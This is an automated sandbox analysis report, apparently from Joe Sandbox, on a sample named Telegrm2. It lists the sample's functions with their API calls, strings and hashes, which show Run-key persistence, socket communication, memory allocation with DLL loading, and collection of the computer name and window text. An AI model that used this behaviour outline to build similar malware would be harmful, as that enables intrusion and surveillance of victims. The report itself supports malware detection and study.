Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CloseHandle$AddressProcProtectVirtual$ChangeCreateFindLibraryLoadModuleNotificationObjectSingleThreadWaitlstrcpy
String ID: Mov$NtTerminateThread$NtTraceEvent$driver$ntdll.dll$run
API String ID: 1569784174-2918648053
Opcode ID: 79e0b89fa8709a1075fb0f61bc50992c8261800b229712dc092eca227e9007b5
Instruction ID: 6d824206d81be487fe6eed6057c038c0b82725b2e1aae1b9a591805c572c8e9e
Opcode Fuzzy Hash: 79e0b89fa8709a1075fb0f61bc50992c8261800b229712dc092eca227e9007b5
Instruction Fuzzy Hash: FD510A35714B81A6EF22DF61F8543AA7764F786B84F848129DA4E4BB64EF3EC204C704

Function 03630180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memchr.LIBCMT ref: 03630354
memchr.LIBCMT ref: 0363037D
rand.LIBCMT ref: 036304E2
CreateDirectoryA.KERNELBASE ref: 0363054E
rand.LIBCMT ref: 036307D1

Strings

C:\ProgramData\, xrefs: 03630253
run, xrefs: 03630986
https://, xrefs: 03630281
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 03630932

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: memchrrand$CreateDirectory
String ID: C:\ProgramData\$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$https://$run
API String ID: 578666947-266329106
Opcode ID: aa4f238e3d5297d06223bdd86ee26d2f8495401fee2a4850f6d3b0f4ceb3ba04
Instruction ID: 4c0215a7febf05c1a54e6934cabf31602fe4e816dcfd13e9ee3d100e1f52f0f2
Opcode Fuzzy Hash: aa4f238e3d5297d06223bdd86ee26d2f8495401fee2a4850f6d3b0f4ceb3ba04
Instruction Fuzzy Hash: 47429932210BC089EB60DF39D8503DA77A1F7467A8F54162ADA6E4BBD9DF75C288C344

Function 036374B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lock.LIBCMT ref: 036374E3

Part of subcall function 03639B98: _amsg_exit.LIBCMT ref: 03639BC2

_get_daylight.LIBCMT ref: 036374F9

Part of subcall function 03638254: _errno.LIBCMT ref: 0363825D
Part of subcall function 03638254: _invalid_parameter_noinfo.LIBCMT ref: 03638268

_get_daylight.LIBCMT ref: 0363750E

Part of subcall function 036381F4: _errno.LIBCMT ref: 036381FD
Part of subcall function 036381F4: _invalid_parameter_noinfo.LIBCMT ref: 03638208

_get_daylight.LIBCMT ref: 03637523

Part of subcall function 03638224: _errno.LIBCMT ref: 0363822D
Part of subcall function 03638224: _invalid_parameter_noinfo.LIBCMT ref: 03638238

___lc_codepage_func.LIBCMT ref: 03637530

Part of subcall function 0363C9F0: _getptd.LIBCMT ref: 0363C9F4

Part of subcall function 03638B10: __wtomb_environ.LIBCMT ref: 03638B40

free.LIBCMT ref: 036375A1

Part of subcall function 03633D28: HeapFree.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D3E
Part of subcall function 03633D28: _errno.LIBCMT ref: 03633D48
Part of subcall function 03633D28: GetLastError.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D50

free.LIBCMT ref: 0363760A
GetTimeZoneInformation.KERNELBASE(?,?,?,?,00000000,?,00000032,00000000,00000000,03637EDE,?,?,?,?,0363397E), ref: 0363761D
WideCharToMultiByte.KERNEL32(?,?,?,?,00000000,?,00000032,00000000,00000000,03637EDE,?,?,?,?,0363397E), ref: 036376D3
WideCharToMultiByte.KERNEL32(?,?,?,?,00000000,?,00000032,00000000,00000000,03637EDE,?,?,?,?,0363397E), ref: 03637726

Strings

Eastern Standard Time, xrefs: 036376C8
Eastern Summer Time, xrefs: 0363771B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 2532449802-239921721
Opcode ID: 73c8fbf5f379a1f7f9e2cf3c1f4ae79e493e4be5ebbb71a75c4582a897b72af1
Instruction ID: d6eed7016ce36922d3cdbdff87db4e12b77f14fc7689065d2d5d48dfb2148884
Opcode Fuzzy Hash: 73c8fbf5f379a1f7f9e2cf3c1f4ae79e493e4be5ebbb71a75c4582a897b72af1
Instruction Fuzzy Hash: 2AB1C6B62047C08ADB35DF25E59075ABBA9F787780F488139DE895BB64DF38C521CB04

Function 02BE8909 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 249
networkmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 02BE899E
connect.WS2_32 ref: 02BE8A05
send.WS2_32 ref: 02BE8A1B
recv.WS2_32 ref: 02BE8A45
NtAllocateVirtualMemory.NTDLL ref: 02BE8A7E
NtAllocateVirtualMemory.NTDLL ref: 02BE8AC7
recv.WS2_32 ref: 02BE8AE0
closesocket.WS2_32 ref: 02BE8B20

Strings

@, xrefs: 02BE8A9A

Memory Dump Source

Source File: 00000000.00000002.3890398271.0000000002BE8000.00000040.00000020.00020000.00000000.sdmp, Offset: 02BE8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2be8000_Telegrm2.jbxd

Similarity

API ID: AllocateMemoryVirtualrecv$closesocketconnectsendsocket
String ID: @
API String ID: 2164595095-2766056989
Opcode ID: 7e523c6c00e05f68b208f24cfaaf3921ba4f4fe68fdc833210631eaf674d4461
Instruction ID: 13dec19116911aa078b3687dcf1ea3f8433e4a92926df9677d66cbe52c14f7da
Opcode Fuzzy Hash: 7e523c6c00e05f68b208f24cfaaf3921ba4f4fe68fdc833210631eaf674d4461
Instruction Fuzzy Hash: 0071D270608B484FCB68EF2888987B9B7E1FB89304F1046AED58FC7261DF31D5468B81

Function 03621E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 03621ED5
GetCurrentThreadId.KERNEL32 ref: 03621EE5
VirtualAlloc.KERNEL32 ref: 03621F6D
VirtualFree.KERNEL32 ref: 03621FA7
VirtualAlloc.KERNEL32 ref: 0362200F
VirtualFree.KERNEL32 ref: 03622049
VirtualAlloc.KERNEL32 ref: 036220BC
VirtualFree.KERNEL32 ref: 036220F6
GetCurrentThreadId.KERNEL32 ref: 03622173

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Virtual$AllocFree$CurrentThread$Sleep
String ID:
API String ID: 2090942847-0
Opcode ID: 9c738a0985e93fdabfef66ae54021922e44dea55f30bb14c0034558ece00bc5f
Instruction ID: 5edfbc778b667ac776a90689e4c4cd63611611e8c8bd67dbd903133309422994
Opcode Fuzzy Hash: 9c738a0985e93fdabfef66ae54021922e44dea55f30bb14c0034558ece00bc5f
Instruction Fuzzy Hash: DD91DF32704B90A7D75DDB3AD25079A7BA5F746780F048128DB4697B10DF39E0B2CB40

Function 036221C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 03622255
recv.WS2_32 ref: 03622274
_errno.LIBCMT ref: 03622280
_errno.LIBCMT ref: 0362228A
_errno.LIBCMT ref: 03622297
setsockopt.WS2_32 ref: 036222FF
CancelIo.KERNEL32 ref: 03622309
closesocket.WS2_32 ref: 03622319
SetEvent.KERNEL32 ref: 03622326

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$CancelEventclosesocketrecvselectsetsockopt
String ID:
API String ID: 2233327707-0
Opcode ID: 59aaeff1b6b53f13297a7ebb6f1aa5ebf3c58f84c90315e3a595d7b0aae07e94
Instruction ID: 0f7204b8131522ec67695b76093ca6cc9b945295d2f808fd7659dd1ab8f94585
Opcode Fuzzy Hash: 59aaeff1b6b53f13297a7ebb6f1aa5ebf3c58f84c90315e3a595d7b0aae07e94
Instruction Fuzzy Hash: 4C410432208E9081E7B0DF34E4507AE7B60F786F94F594625DB994BB98CF3AC484CB08

Function 03330020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 0333011F

Strings

XVXT, xrefs: 0333042B
@, xrefs: 033300ED

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @$XVXT
API String ID: 2167126740-4063696373
Opcode ID: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction ID: 542a01a8529d565ff7e2a421476b16e75ba7cd3f7c60071868d0fb0252e90a89
Opcode Fuzzy Hash: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction Fuzzy Hash: 40D1A130618A0D8FCB5CDF58D8C4AB9B7E1FB5A315F18816DE44BC7252DA35E886CB80

Function 0362FCF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 292
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0363004E
WriteFile.KERNELBASE ref: 03630102
CloseHandle.KERNEL32 ref: 0363011A

Strings

GET, xrefs: 0362FE9E

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: GET
API String ID: 1065093856-1805413626
Opcode ID: 703e124fc64f112286daba1ec4fc86d03421ff445300e56a4324bdf28c13dbd1
Instruction ID: 512560dcb56e18301ed0ce3902802ae6e119204f2c18e67f36fbb422a03e1b64
Opcode Fuzzy Hash: 703e124fc64f112286daba1ec4fc86d03421ff445300e56a4324bdf28c13dbd1
Instruction Fuzzy Hash: 5FC1D036604B4082E725EF25F85471E7BB4F786B98F105918DF9A0BB94CF7AC1A4C784

Function 03330091 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296memorylibrarynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 0333011F
LdrLoadDll.NTDLL ref: 033302D8

Strings

@, xrefs: 033300ED

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: AllocateLoadMemoryVirtual
String ID: @
API String ID: 582251630-2766056989
Opcode ID: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction ID: 85c240019950254db2314dfffeade3a649b93341fdec4b2834a632f0727748d3
Opcode Fuzzy Hash: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction Fuzzy Hash: 5C919E34618A098FCB1DDF58D8D4AB9B7E1FB5A305F19816DE84BC7252DB30D846CB80

Function 036383F4 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 0363840A
GetVersion.KERNEL32 ref: 0363841C
HeapSetInformation.KERNEL32 ref: 0363843A

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction ID: 118c7a0b58e5c9fe9970330fdd22c84298a3506a5c9831b616790edf331987b1
Opcode Fuzzy Hash: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction Fuzzy Hash: 5EE02034B12F8083FBC69F24E8457572219FBC8340F808414F90A43764DF3DC2468744

Function 03621BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 03621C2D
timeGetTime.WINMM ref: 03621C3F
socket.WS2_32 ref: 03621C66
gethostbyname.WS2_32 ref: 03621C80
htons.WS2_32 ref: 03621C97
connect.WS2_32 ref: 03621CBB
getsockname.WS2_32 ref: 03621CE3
inet_ntop.WS2_32 ref: 03621D11
setsockopt.WS2_32 ref: 03621D39
setsockopt.WS2_32 ref: 03621D61
setsockopt.WS2_32 ref: 03621D89
setsockopt.WS2_32 ref: 03621DAD
WSAIoctl.WS2_32 ref: 03621DF8

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: setsockopt$EventIoctlResetTimeconnectgethostbynamegetsocknamehtonsinet_ntopsockettime
String ID:
API String ID: 4102826399-0
Opcode ID: 663f528104f19cf5e1219628965ca893e9f6d5954b84013dc55909708e254800
Instruction ID: a8f0bbdf4aa922688ec32af63a8072905e47f1df0e6343c0a170dba943d05e39
Opcode Fuzzy Hash: 663f528104f19cf5e1219628965ca893e9f6d5954b84013dc55909708e254800
Instruction Fuzzy Hash: E1619D72700B41AAE725DF65E40079D37B5F748798F008226EF8957BA8DF3AC269C744

Function 03624430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32 ref: 03624476
GetModuleHandleA.KERNEL32 ref: 0362448E
CreateWindowExA.USER32 ref: 036244D0
GetMessageA.USER32 ref: 036244E8
TranslateMessage.USER32 ref: 036244FC
DispatchMessageA.USER32 ref: 03624507
GetMessageA.USER32 ref: 0362451A

Strings

QjNy1jwRYuH6aNtMf3Jz, xrefs: 03624457

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Message$ClassCreateDispatchHandleModuleRegisterTranslateWindow
String ID: QjNy1jwRYuH6aNtMf3Jz
API String ID: 3848795541-3621823610
Opcode ID: 025900ca7ea43d8d79a465b25f9ebb2d43cdc0a8efedc9b901d28f077aa14ed0
Instruction ID: 005a469075b4fcc3542db154b255bc04df1466e3207aaaa2b3cb04ca21067091
Opcode Fuzzy Hash: 025900ca7ea43d8d79a465b25f9ebb2d43cdc0a8efedc9b901d28f077aa14ed0
Instruction Fuzzy Hash: 3421C131A04F8092EB21CF65F84075A77A8F784764F848216E6AD43BA4DF3EC209CF10

Function 03630682 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 223
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.LIBCMT ref: 036307D1
RegOpenKeyExA.KERNELBASE ref: 03630940
RegSetValueExA.KERNELBASE ref: 03630979
RegCloseKey.ADVAPI32 ref: 03630997

Strings

run, xrefs: 03630986
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 03630932

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CloseOpenValuerand
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$run
API String ID: 1269030272-4096352211
Opcode ID: 6ddc820345de493ae15f47e00bd567dce40e0c2645316b83a1bd2728f5bd7e20
Instruction ID: 8d469c4ca32db4da6e4d84562e3f894651f8bf7ac98f63cc16631127e2f113fb
Opcode Fuzzy Hash: 6ddc820345de493ae15f47e00bd567dce40e0c2645316b83a1bd2728f5bd7e20
Instruction Fuzzy Hash: 16A17836210BC089EB75EF38ED543DA2361F74679CF44561ADA9A4BA99CF71C288C344

Function 036330BC Relevance: 9.1, APIs: 6, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.LIBCMT ref: 036330E7
_invalid_parameter_noinfo.LIBCMT ref: 036330F2
_getptd.LIBCMT ref: 03633118
CreateThread.KERNELBASE ref: 0363316D
GetLastError.KERNEL32 ref: 03633178
free.LIBCMT ref: 03633183

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: 1df2eebb44f30ce63ba82908fbd54374f80e1e24a535326bdf968ba0f9a3a1e4
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: F621E73930478486EB15EFA6E94035EB7A4FB86BE0F548629DFA907B94CF3CC1518708

Function 0362EB40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 036323A0: GetComputerNameA.KERNEL32 ref: 036323FF
Part of subcall function 036323A0: lstrcpy.KERNEL32 ref: 03632415
Part of subcall function 036323A0: wsprintfA.USER32 ref: 03632444

SleepEx.KERNEL32 ref: 0362EB75

Strings

driver, xrefs: 0362EB49, 0362EB7B
run, xrefs: 0362EB60

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ComputerNameSleeplstrcpywsprintf
String ID: driver$run
API String ID: 2401651887-4270002515
Opcode ID: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction ID: be191eccedbfea1042d31ccde44b95981e60b2035ddda0d53a4571ff11f9d3f4
Opcode Fuzzy Hash: 20af55a0a792ddad8a0b3d662374fb4cfecfde6feee429567d2bc022b4671d35
Instruction Fuzzy Hash: F3F04C20611B42D1EF11D731DD903592B64E751B48F484275ED4B86BE0FB2BC245CB51

Function 03623080 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Process32First.KERNEL32 ref: 036230A0
FindCloseChangeNotification.KERNELBASE ref: 03623144

Part of subcall function 036334EC: _errno.LIBCMT ref: 036334FE
Part of subcall function 036334EC: _invalid_parameter_noinfo.LIBCMT ref: 03633509

Process32Next.KERNEL32 ref: 0362311E

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Process32$ChangeCloseFindFirstNextNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 1362859326-0
Opcode ID: af48b418e0a66994c485a4ea6470eef9571d416135bb5e5dae84e1453cfca710
Instruction ID: 4c51a04b703dbaeec110dc831fc6dfae7ad7d336ce320e7b48a1202b027c46a1
Opcode Fuzzy Hash: af48b418e0a66994c485a4ea6470eef9571d416135bb5e5dae84e1453cfca710
Instruction Fuzzy Hash: 1B11793A314B9082DB11DB22A80475ABBA8F749FE8F594212EE9943798CF3DC145CB04

Function 0362ED81 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 03633290: malloc.LIBCMT ref: 036332AA

GetLastInputInfo.USER32 ref: 0362EDCA
GetTickCount.KERNEL32 ref: 0362EDD0
GetForegroundWindow.USER32 ref: 0362EDFE

Part of subcall function 03622F20: IsWindow.USER32 ref: 03622F37
Part of subcall function 03622F20: GetWindowThreadProcessId.USER32 ref: 03622F63
Part of subcall function 03622F20: GetCurrentProcessId.KERNEL32 ref: 03622F6B
Part of subcall function 03622F20: GetCurrentThreadId.KERNEL32 ref: 03622F77
Part of subcall function 03622F20: GetWindowTextA.USER32 ref: 03622F8D

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: ef1ee96fdab8cd02b3870dfa0c2754cec3386380ef7e32bc1c0ab7c4d6796d78
Instruction ID: 47e229d5f7da67af020a7637c6c0ffab514fc4cb2526e5abc650f7f528c7d634
Opcode Fuzzy Hash: ef1ee96fdab8cd02b3870dfa0c2754cec3386380ef7e32bc1c0ab7c4d6796d78
Instruction Fuzzy Hash: 7311E52662478086CB45EF76F84431D6A61E786B80F48D429DB8A8BF48DF7CC594CB44

Function 0362E907 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 03633290: malloc.LIBCMT ref: 036332AA

GetLastInputInfo.USER32 ref: 0362EDCA
GetTickCount.KERNEL32 ref: 0362EDD0
GetForegroundWindow.USER32 ref: 0362EDFE

Part of subcall function 03622F20: IsWindow.USER32 ref: 03622F37
Part of subcall function 03622F20: GetWindowThreadProcessId.USER32 ref: 03622F63
Part of subcall function 03622F20: GetCurrentProcessId.KERNEL32 ref: 03622F6B
Part of subcall function 03622F20: GetCurrentThreadId.KERNEL32 ref: 03622F77
Part of subcall function 03622F20: GetWindowTextA.USER32 ref: 03622F8D

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: ea6bf0708d890688abba7df2adce483530c5b2e115c5a3d89cacfb2d7662814f
Instruction ID: d22faac0fcf9068b02e96389559a908df74c2a6712acf55aa1d37232446f0274
Opcode Fuzzy Hash: ea6bf0708d890688abba7df2adce483530c5b2e115c5a3d89cacfb2d7662814f
Instruction Fuzzy Hash: 40110222B24B8086DB84EF76F844319A761E789B80F089424EF8A4BB48DF7CC594CB40

Function 03622900 Relevance: 3.1, APIs: 2, Instructions: 65networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 03622960
send.WS2_32 ref: 0362299F

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 15db26ce0b318c216a0a286f3bd2225c8393db57c311448df21e445c578b8900
Instruction ID: 848e1b57c53c087cd0563e2ac1b0e1ab57fdcbe7efe4b7b54883b2ed6d9385b3
Opcode Fuzzy Hash: 15db26ce0b318c216a0a286f3bd2225c8393db57c311448df21e445c578b8900
Instruction Fuzzy Hash: 7C112932F04EA241E370DB27AC5073ABA54FB89BD0F591635EE5847FA4EA74C0929B00

Function 03623430 Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32 ref: 0362346F
GetComputerNameA.KERNEL32 ref: 036234C5

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ComputerCurrentNameProfile
String ID:
API String ID: 3082751485-0
Opcode ID: c49c7343b0b2ac51c49a6bf8ef522b297d2d96efd54e54237479135a0d125075
Instruction ID: c39b526493109c5f6d22dd6ad0a1c5e6a74299054ed645b03aec60193df4ed3d
Opcode Fuzzy Hash: c49c7343b0b2ac51c49a6bf8ef522b297d2d96efd54e54237479135a0d125075
Instruction Fuzzy Hash: FB217C66218BC095DB70CF24E45039FB7A2F785764F40531AEAAD47A98DB3DC109CB11

Function 03632FEC Relevance: 3.0, APIs: 2, Instructions: 25threadCOMMON

Download Yara Rule

APIs

Part of subcall function 036348D4: GetLastError.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 036348DE
Part of subcall function 036348D4: FlsGetValue.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 036348EC
Part of subcall function 036348D4: FlsSetValue.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 03634918
